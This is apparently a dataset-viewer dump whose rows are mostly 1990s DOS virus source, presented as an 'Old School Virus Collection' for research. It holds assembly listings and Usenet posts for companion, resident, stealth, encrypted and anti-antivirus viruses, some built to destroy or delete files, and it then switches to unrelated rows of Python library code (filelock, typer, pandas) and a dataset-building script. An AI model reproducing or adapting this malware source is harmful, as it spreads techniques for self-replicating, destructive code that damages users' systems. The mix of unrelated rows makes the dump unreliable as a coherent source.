text stringlengths 0 20k |
|---|
# The Old School Virus Collection
This is a collection of really old (mid 90s) virus source code that you can use for research. It's highly unlikely anything here will be able to do any damage to modern systems, but on that note, I am not suggesting you use the sources here to undertake illegal activities, I am providi... |
; ACME COMPANION VIRUS for Crypt Newsletter 9
;
; ACME is a fast and simple companion virus which will create a
; spawned copy of itself for EVERY .EXE file it can find in the
; current directory.
;
; ACME is ready to assemble using A86. If you recall, an earlier Crypt
; letter included an A86-only source listing. (St... |
; A DEMO VIRUS FOR DSCE BY [PF]
.286
DEMO SEGMENT
ASSUME CS:DEMO,DS:DEMO
ORG 0000
VIR_LEN EQU OFFSET DSCE_END
EXTRN DSCE:NEAR,DSCE_END:NEAR
START: CALL BEG
BEG PROC
BEG ENDP
CLD
MOV AH,62H
INT... |
;TREKWAR virus - we were overjoyed at Crypt Newsletter when Goose showed
;us his update of CloneWar, TrekWar. Alert readers will remember ACME,
;the musical companion based on ZENO, a relative of CloneWar.
;So here it is!
;TrekWar
;Ŀ
; Assembly Source Listing for TrekWar Companion Virus
; Copyr... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!news2.near.net!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:34 1994
Xref: netcom.com alt.comp.virus:488
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!news2.near.net!bloom-beacon.mit.e... |
From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:11:15 1994
Xref: netcom.com alt.comp.virus:200
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Re:Riot
Date: 12 Nov 1994 03:37:30 GMT
Organization: Netcom
Lines: 171
Distribution: world
Message-ID: <3a1d9... |
;The Circus Cluster 2 virus is an experiment which TridenT finished after
;the original Cluster virus was published in Crypt 17. The source
;code in its original form is provided now.
;
;Credited to TridenT, Circus Cluster 2 uses some of
;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed
;tricky be... |
;FIREFLY virus, by Nikademus.
;
;Firefly is an encrypted, memory resident virus which infects
;.COMfiles on load. It incorporates code from Proto-T,
;LokJaw and YB-X viruses and, when in memory, attacks a large selection
;of anti-virus programs as they are executed. Anti-virus programs
;identified by... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp Sat Jan 14 12:10:08 1995
Xref: netcom.com alt.comp.virus:961
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp
From: scottj... |
;The Cluster virus is an interesting experiment which works, almost.
;It it what has come to be known as an 'intended' virus, although a
;a very slickly done one.
;Credited to the TridenT virus programming group, Cluster uses some of
;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed
;tricky becaus... |
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-DREI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its... |
;CAREER OF EVIL virus: a simple memory resident .COMinfector
;which infects on execution and file open. CAREER OF EVIL also
;has limited stealth, subtracting its file size from infected files
;by diddling the file control block on "DIR" functions BEFORE the
;user sees the result onscreen. The virus recognizes infect... |
;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which
;confines itself to the current directory. To assemble with TASM 2.5, user
;must have complete MTE091B software package (including RND.OBJ,
;MTE.OBJ and stubfile, NOPS.BIN). Use MAK... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sun Jan 15 21:28:13 1995
Xref: netcom.com alt.comp.virus:1039
Newsgroups: alt.comp.virus
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!u... |
;****************************************************************************
;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
;*
;* TASM/MASM compatible source listing
;*
;* VOTE, SHITHEAD is a resident, companion virus based upon Little
;* Brother code and library .asm routines extrac... |
;LOCKJAW: a .COM-infecting resident virus with retaliatory
;anti-anti-virus capability. Programmed and contributed by Nikademus, for
;Crypt Newsletter 12, Feb. 1993.
;
;LOCKJAW is a resident virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;
;LOCKJAW... |
;The Kohntark Tunneling Toolkit was originally rolled out in
;Crypt Newsletter 18.
;Recently, it was disassembled by Private Research, the complete
;listing of which is included below.
;
; From issue 18 of the newsletter:
;
;. . . A quick explanation: Antivirus system monitoring software are
;Terminate and Stay Residen... |
From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:09:18 1994
Xref: netcom.com alt.comp.virus:199
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Re: Pure Stealth
Date: 12 Nov 1994 03:35:54 GMT
Organization: Netcom
Lines: 398
Distribution: world
Message-I... |
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is insta... |
; Virusname : Marked-X
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a TSR, overwriting infector on files executed. If it's the
; twenty-first of any month it'll print a note and beep one thousand
; times. It also sets time/date to 00-00-00 so nothing will be shown
; in the f... |
;DECOM - has few safety features right now, be careful =)
.model tiny
.radix 16
.code
org 100
include wolf.lib
start:
printf intro, ds
Release_Memory:
mov bx,(end_unmte-start+10f)/10 ;Release all but what
changealloc bx,es ;our prog needs.
Allocate_Block_For_MTE_Prog: ... |
; A DEMO VIRUS FOR DSME BY DARK SLAYER
DEMO SEGMENT
ASSUME CS:DEMO,DS:DEMO
ORG 0000
VIR_LEN EQU OFFSET DSME_END
EXTRN DSME:NEAR,DSME_END:NEAR
START: CALL BEG
BEG PROC
BEG ENDP
POP SI
SUB SI,3
... |
;FLAGYLL virus - edited for Crypt Newsletter 13
;FLAGYLL is a memory resident, overwriting virus which
;infects and destroys .EXE files on load.
;It updates the infected files time/date stamps to the time of
;infection so it can easily be followed.
;.EXE's infected by FLAGYLL are destroyed. DOS will eit... |
This file was downloaded from The Trojans Lair
---------------------------------------------------
http://www.trojanslair.com
http://www.tl.notrix.net
http://trojanslair.cjb.net
If you want to use this file on your site then please
leave this file in the .zip and you are welcome
to use as many of the files as you wa... |
;The PC CARBUNCLE VIRUS - a companion virus for Crypt Newsletter 14
;The PC Carbuncle is a "toy" virus which will search out every .EXEfile
;in the current directory, rename it with a .CRP [for Crypt] extent and
;create a batchfile. The batchfile calls the PC Carbuncle [which has
;copied itself to a hi... |
This file was downloaded from The Trojans Lair
---------------------------------------------------
http://www.trojanslair.com
http://www.tl.notrix.net
http://trojanslair.cjb.net
If you want to use this file on your site then please
leave this file in the .zip and you are welcome
to use as many of the files as you wa... |
;***************************************************************************
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
; Ludwig's RETALIAT... |
;
;
; V I R U S P R O T O T Y P E
;
; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd
; Date : 25 Jan 1991 21:05
; Function : Found DOS stack in put hims... |
From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:10:01 1994
Xref: netcom.com alt.comp.virus:198
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Re: Virus Creation Labs book
Date: 12 Nov 1994 03:29:54 GMT
Organization: Netcom
Lines: 54
Distribution: worl... |
;STORMBRINGER's BATCH FILE VIRUS, a quick and dirty disassembly
;for Crypt Newsletter 24, by UKouch.
;
;Almost a year ago, Popular Science magazine published a "semi-technical"
;story on computer viruses. As a demonstrator, the
;magazine included a "virus" constructed from batch commands. As supplied,
;it did not wor... |
; VirusName: Swedish Warrior
; Origin : Sweden
; Author : Lord Zero
;
; Okey, I decided to include this virus, of many reasons. But first
; let's give some information about LOC (Logical Coders).
;
; LOC (Logical Coders) turned out to be a demo-group instead of a Virus-
; group, that I thought it was. THM (Trojan ... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:42 1994
Xref: netcom.com alt.comp.virus:510
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: GoldGeld Virus
Date: 29 Nov 1994 13:16:43 GMT
Organization: Netcom
Lines: 346
Distribution: world
Message-ID:... |
; HellSpawn Virus (c) 1993 by Stormbringer
;
;
; Stormbringer
;
;
.model tiny
.radix 16
.code
org 100
start:
jmp EntryPoint
... |
; MegaStealth Virus Source by qark
;
; COM/BS/MBR Infector
; It uses the new form of stealth developed by the 'strange' virus in
; that even if you are using the original ROM int 13h the virus will
; still successfully stealth. It does this by hooking the hard disk
; IRQ, int 76h, ... |
; VirusName : Digital Pollution
; Origin : Sweden
; Author : Raver
; Group : Immortal Riot
; Date : 25/07/94
; It's been a while since I released my last virus but here's a new one
; anyway.
;
; It's a pretty simple resident non-overwriting .com-infector with
; basic stealth function. Of course it resto... |
; Gergana.222
; disassembly by Metabolis/VLAD
; with a small amount of help from Qark :)
; I thought it would be interesting since it infects the start of
; files whereas most will append.
; use TASM to re-assemble
int24s equ 12h ; original int 24h
int24o equ 14h ... |
;*****************************************************************************
;
; QUIT-1992.ASM (DUTCH.555)
; Disassembly by Khntark ... |
;
;
; Donothing.asm
; By Khntark
; DATE: NOV 93
;
; Assemble with TASM 2.X
;
MAIN SEGMENT BYTE
ASSUME cs:main,ds:main,ss:nothing
org 100h
DONUTHIN:
VIRUS:
;
; J-... |
;PC WEEVIL virus - demonstrator of Mutation Engine tricks and
;Microsoft Antivirus dismantling technology. PC WEEVIL is a
;direct action .COM-infecting virus which will infect all
;.COMfiles in the current directory on its initial run.
;The Mutation Engine is needed to assemble this virus
;directly from this source li... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:42:48 1994
Xref: netcom.com alt.comp.virus:506
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: 7th Son Virus
Date: 29 Nov 1994 13:02:59 GMT
Organization: Netcom
Lines: 236
Distribution: world
Message-ID: ... |
; -DreamWorld?-
; "Created by Immortal Riot's destructive development team"
; (c) 93/94 Immortal Riot - All rights reserved
;
; Dedication:
; "If Metal Militia was dead, this virus should be deadicated to him"
;
; Notes:
; This was 'written' in one day. It su... |
;FLAGYLL-Z virus - edited for Crypt Newsletter 13
;FLAGYLL is a memory resident, overwriting virus which
;infects and destroys .EXE files on load.
;FLAGYLL-Z's infections are modulated by a routine which
;uses the system clock as a random trigger. When .EXEfiles
;are loaded, FLAGYLL-Z will only infect i... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994
Xref: netcom.com alt.comp.virus:489
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!... |
This file was downloaded from The Trojans Lair
---------------------------------------------------
http://www.trojanslair.com
http://www.tl.notrix.net
http://trojanslair.cjb.net
If you want to use this file on your site then please
leave this file in the .zip and you are welcome
to use as many of the files as you wa... |
comment $
STERCULIUS ][ VIRUS
This is an 'upgrade build' of CRYPT #18's STERCULIUS virus.
I have made some changes, in particular STERCULIUS ][ now infects
EXE files as well as COM files.
The procedure to infect EXE files is rather simple:
Sterculius installs itself and its INT 21h handler in the me... |
;
; KaLi-4.ASM
; AUTHOR: Khntark
; DATE: 18 June 1993 / updated March 1994
; Size: approx. < 500 bytes
; EXE,COM Anti-heuristics infector.
;
; Undetected by TBSCAN 6.11 hr mode (no flags!)
; Undetected by F-PROT 2.11 normal and /analyse modes
; Undetected by Antiviral Toolkit Pro 1.07
; Undetected by Central... |
;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-ZWEI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!newsxfer.itd.umich.edu!nntp.cs.ubc.ca!unixg.ubc.ca!tomaino Sat Dec 31 02:21:41 1994
Xref: netcom.com alt.comp.virus:812
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!newsxfer.itd.umich.edu!nntp.cs.ubc.ca!unixg.ubc.ca!... |
This file was downloaded from The Trojans Lair
---------------------------------------------------
http://www.trojanslair.com
http://www.tl.notrix.net
http://trojanslair.cjb.net
If you want to use this file on your site then please
leave this file in the .zip and you are welcome
to use as many of the files as you wa... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994
Xref: netcom.com alt.comp.virus:511
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Ye Ole MichelAngelo Virus
Date: 29 Nov 1994 13:19:53 GMT
Organization: Netcom
Lines: 248
Distribution: world
... |
;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
;
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
org 0100h
start: mov ah,4Eh ; find first file
recurse:
mov dx,0123h ; matching filemask, "*.*"
int 21h
db 72... |
; Virusname : Metallic Moonlite
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a non-resident, current dir infector of com-files. every first
; of any month it will put a bit of code resident to make ctrl-alt-del's
; to coldboots and delete all files being executed. It's encry... |
; DIARRHE4.ASM -- DIARRHEA 4
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sat Jan 14 12:32:51 1995
Xref: netcom.com alt.comp.virus:1007
Newsgroups: alt.comp.virus
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok... |
; Virus name : Cocaine [CoKe]
; Virus author: Metal Militia
; Virus group : Immortal Riot
; Origin : Sweden
;
; This is an non-resident, .EXE infector moving upwards using the
; "dot-dot" method. Watch your .EXE files for the bad guy siganture
; "IR" somewhere in the beginning, after the MZ or ZM thang.. :)
;
; A... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994
Xref: netcom.com alt.comp.virus:508
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: BlackKnight Virus (ANTI AV VIRUS)
Date: 29 Nov 1994 13:09:23 GMT
Organization: Netcom
Lines: 376
Distribution... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sat Jan 14 12:23:41 1995
Xref: netcom.com alt.comp.virus:1000
Newsgroups: alt.comp.virus
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok... |
;
; The ULTImate MUTation Engine .93 (c) 1993 Black Wolf Enterprises
; pardon the title, had to think of something... }-)
;
;ULTIMUTE is a mutation engine written for security-type applications and
;other areas where mutation of executable code is necessary. For my personal
;use, I have implemented... |
_____________________________
This file passed TLSecurity
_____________________________
http://www.TLsecurity.cjb.net
If you want to use this file on your site then please
leave this file in the .zip and you are welcome
to use as many of the files as you want on your site
|
;***************************************************************************
; Source code of the DEICIDE Virus, original author: Glen Benton
; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion
; in Crypt Newsletter #7. The Crypt reader will also notice the
; DEICIDE listing has NO declarative r... |
;A small (139 byte) virus with minimal required functionality.
;This Virus for research purposes only. Please do not release!
;Please execute it only on a carefully controlled system, and only
;if you know what you're doing!
;An example for
;#######################################################
;# THE FIRST INT... |
; Virusname : Invisible Evil
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a memory resident, stealth, infector of com files.
; It check for two nops a bit after the jmp to see if it's already
; infected or not, and to stealth it, it'll check the seconds.
; No destructive ro... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!swrinde!sgiblab!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:50:22 1994
Xref: netcom.com alt.comp.virus:486
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!swrinde!sgiblab!uhog.mit.edu!rutgers!engr.orst.edu!ga... |
import json
data = []
for f in open("files.txt"):
f = f.strip()
try:
code = open(f, encoding="utf-8", errors="ignore").read()
if len(code) < 20000:
data.append({"text": code})
except:
pass
json.dump(data, open("code_dataset.json", "w"), indent=2)
print("Samples:", len(d... |
home = /usr/bin
include-system-site-packages = false
version = 3.12.3
executable = /usr/bin/python3.12
command = /usr/bin/python3 -m venv /home/taya/code_data/venv
|
"""An asyncio-based implementation of the file lock."""
from __future__ import annotations
import asyncio
import contextlib
import logging
import os
import time
from dataclasses import dataclass
from inspect import iscoroutinefunction
from threading import local
from typing import TYPE_CHECKING, Any, NoReturn, cast
... |
from __future__ import annotations
from typing import Any
class Timeout(TimeoutError): # noqa: N818
"""Raised when the lock could not be acquired in *timeout* seconds."""
def __init__(self, lock_file: str) -> None:
super().__init__()
self._lock_file = lock_file
def __reduce__(self) -> ... |
# file generated by setuptools-scm
# don't change, don't track in version control
__all__ = [
"__version__",
"__version_tuple__",
"version",
"version_tuple",
"__commit_id__",
"commit_id",
]
TYPE_CHECKING = False
if TYPE_CHECKING:
from typing import Tuple
from typing import Union
V... |
from __future__ import annotations
import os
import sys
from contextlib import suppress
from errno import EACCES
from pathlib import Path
from typing import cast
from ._api import BaseFileLock
from ._util import ensure_directory_exists, raise_on_not_writable_file
if sys.platform == "win32": # pragma: win32 cover
... |
from __future__ import annotations
import os
import stat
import sys
from errno import EACCES, EISDIR
from pathlib import Path
def raise_on_not_writable_file(filename: str) -> None:
"""
Raise an exception if attempting to open the file for writing would fail.
This is done so files that will never be writ... |
"""
A platform independent file lock that supports the with-statement.
.. autodata:: filelock.__version__
:no-value:
"""
from __future__ import annotations
import sys
import warnings
from typing import TYPE_CHECKING
from ._api import AcquireReturnProxy, BaseFileLock
from ._error import Timeout
from ._soft impor... |
from __future__ import annotations
import os
import sys
from contextlib import suppress
from errno import EACCES, EEXIST
from pathlib import Path
from ._api import BaseFileLock
from ._util import ensure_directory_exists, raise_on_not_writable_file
class SoftFileLock(BaseFileLock):
"""Simply watches the existenc... |
from __future__ import annotations
import contextlib
import inspect
import logging
import os
import time
import warnings
from abc import ABCMeta, abstractmethod
from dataclasses import dataclass
from threading import local
from typing import TYPE_CHECKING, Any, cast
from weakref import WeakValueDictionary
from ._erro... |
from __future__ import annotations
import os
import sys
from contextlib import suppress
from errno import ENOSYS
from pathlib import Path
from typing import cast
from ._api import BaseFileLock
from ._util import ensure_directory_exists
#: a flag to indicate if the fcntl API is available
has_fcntl = False
if sys.plat... |
tzdata
|
[console_scripts]
[gui_scripts]
|
charset_normalizer
|
[console_scripts]
normalizer = charset_normalizer.cli:cli_detect
|
import inspect
import sys
from copy import copy
from typing import Any, Callable, Dict, List, Tuple, Type, cast
from ._typing import Annotated, get_args, get_origin, get_type_hints
from .models import ArgumentInfo, OptionInfo, ParameterInfo, ParamMeta
def _param_type_to_user_string(param_type: Type[ParameterInfo]) -... |
import inspect
import io
from typing import (
TYPE_CHECKING,
Any,
Callable,
Dict,
List,
Optional,
Sequence,
Type,
TypeVar,
Union,
)
import click
import click.shell_completion
if TYPE_CHECKING: # pragma: no cover
from .core import TyperCommand, TyperGroup
from .main imp... |
# Variable names to colors, just for completion
BLACK = "black"
RED = "red"
GREEN = "green"
YELLOW = "yellow"
BLUE = "blue"
MAGENTA = "magenta"
CYAN = "cyan"
WHITE = "white"
RESET = "reset"
BRIGHT_BLACK = "bright_black"
BRIGHT_RED = "bright_red"
BRIGHT_GREEN = "bright_green"
BRIGHT_YELLOW = "bright_yellow"
BRIGHT_BLU... |
import os
import sys
from typing import Any, MutableMapping, Tuple
import click
from ._completion_classes import completion_init
from ._completion_shared import Shells, get_completion_script, install
from .models import ParamMeta
from .params import Option
from .utils import get_params_from_function
try:
import ... |
from enum import Enum
from typing import Generic, TypeVar, Union
import click
ParamTypeValue = TypeVar("ParamTypeValue")
class TyperChoice(click.Choice, Generic[ParamTypeValue]): # type: ignore[type-arg]
def normalize_choice(
self, choice: ParamTypeValue, ctx: Union[click.Context, None]
) -> str:
... |
import importlib.util
import re
import sys
from pathlib import Path
from typing import Any, List, Optional
import click
import typer
import typer.core
from click import Command, Group, Option
from . import __version__
from .core import HAS_RICH
default_app_names = ("app", "cli", "main")
default_func_names = ("main",... |
"""Typer, build great CLIs. Easy to code. Based on Python type hints."""
__version__ = "0.20.0"
from shutil import get_terminal_size as get_terminal_size
from click.exceptions import Abort as Abort
from click.exceptions import BadParameter as BadParameter
from click.exceptions import Exit as Exit
from click.termui i... |
from typing import TYPE_CHECKING, Any, Callable, List, Optional, Type, Union, overload
import click
from .models import ArgumentInfo, OptionInfo
if TYPE_CHECKING: # pragma: no cover
import click.shell_completion
# Overload for Option created with custom type 'parser'
@overload
def Option(
# Parameter
... |
from .cli import main
main()
|
# Copied from pydantic 1.9.2 (the latest version to support python 3.6.)
# https://github.com/pydantic/pydantic/blob/v1.9.2/pydantic/typing.py
# Reduced drastically to only include Typer-specific 3.8+ functionality
# mypy: ignore-errors
import sys
from typing import (
Any,
Callable,
Optional,
Tuple,
... |
import os
import re
import subprocess
from enum import Enum
from pathlib import Path
from typing import Optional, Tuple
import click
try:
import shellingham
except ImportError: # pragma: no cover
shellingham = None
class Shells(str, Enum):
bash = "bash"
zsh = "zsh"
fish = "fish"
powershell ... |
from typing import IO, Any, Mapping, Optional, Sequence, Union
from click.testing import CliRunner as ClickCliRunner # noqa
from click.testing import Result
from typer.main import Typer
from typer.main import get_command as _get_command
class CliRunner(ClickCliRunner):
def invoke( # type: ignore
self,
... |
import importlib.util
import os
import re
import sys
from typing import Any, Dict, List, Tuple
import click
import click.parser
import click.shell_completion
from ._completion_shared import (
COMPLETION_SCRIPT_BASH,
COMPLETION_SCRIPT_FISH,
COMPLETION_SCRIPT_POWER_SHELL,
COMPLETION_SCRIPT_ZSH,
Shel... |
from __future__ import annotations
from typing import TYPE_CHECKING
import numpy as np
import pandas as pd
if TYPE_CHECKING:
from collections.abc import Iterable
class TablePlotter:
"""
Layout some DataFrames in vertical/horizontal layout for explanation.
Used in merging.rst
"""
def __ini... |
"""
Module that contains many useful utilities
for validating data or function arguments
"""
from __future__ import annotations
from collections.abc import (
Iterable,
Sequence,
)
from typing import (
TypeVar,
overload,
)
import numpy as np
from pandas._libs import lib
from pandas.core.dtypes.common... |
from __future__ import annotations
import json
import locale
import os
import platform
import struct
import sys
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from pandas._typing import JSONSerializable
from pandas.compat._optional import (
VERSIONS,
get_version,
import_optional_dependency,
)
d... |
# Vendored from https://github.com/pypa/packaging/blob/main/packaging/_structures.py
# and https://github.com/pypa/packaging/blob/main/packaging/_structures.py
# changeset ae891fd74d6dd4c6063bb04f2faeadaac6fc6313
# 04/30/2021
# This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BS... |
"""
Entrypoint for testing from the top-level namespace.
"""
from __future__ import annotations
import os
import sys
from pandas.compat._optional import import_optional_dependency
PKG = os.path.dirname(os.path.dirname(__file__))
def test(extra_args: list[str] | None = None, run_doctests: bool = False) -> None:
... |
def __getattr__(key: str):
# These imports need to be lazy to avoid circular import errors
if key == "hash_array":
from pandas.core.util.hashing import hash_array
return hash_array
if key == "hash_pandas_object":
from pandas.core.util.hashing import hash_pandas_object
retur... |
from __future__ import annotations
from functools import wraps
import inspect
from textwrap import dedent
from typing import (
TYPE_CHECKING,
Any,
Callable,
cast,
)
import warnings
from pandas._libs.properties import cache_readonly
from pandas._typing import (
F,
T,
)
from pandas.util._excepti... |
"""
This module provides decorator functions which can be applied to test objects
in order to skip those objects when certain conditions occur. A sample use case
is to detect if the platform is missing ``matplotlib``. If so, any test objects
which require ``matplotlib`` and decorated with ``@td.skip_if_no("matplotlib")... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.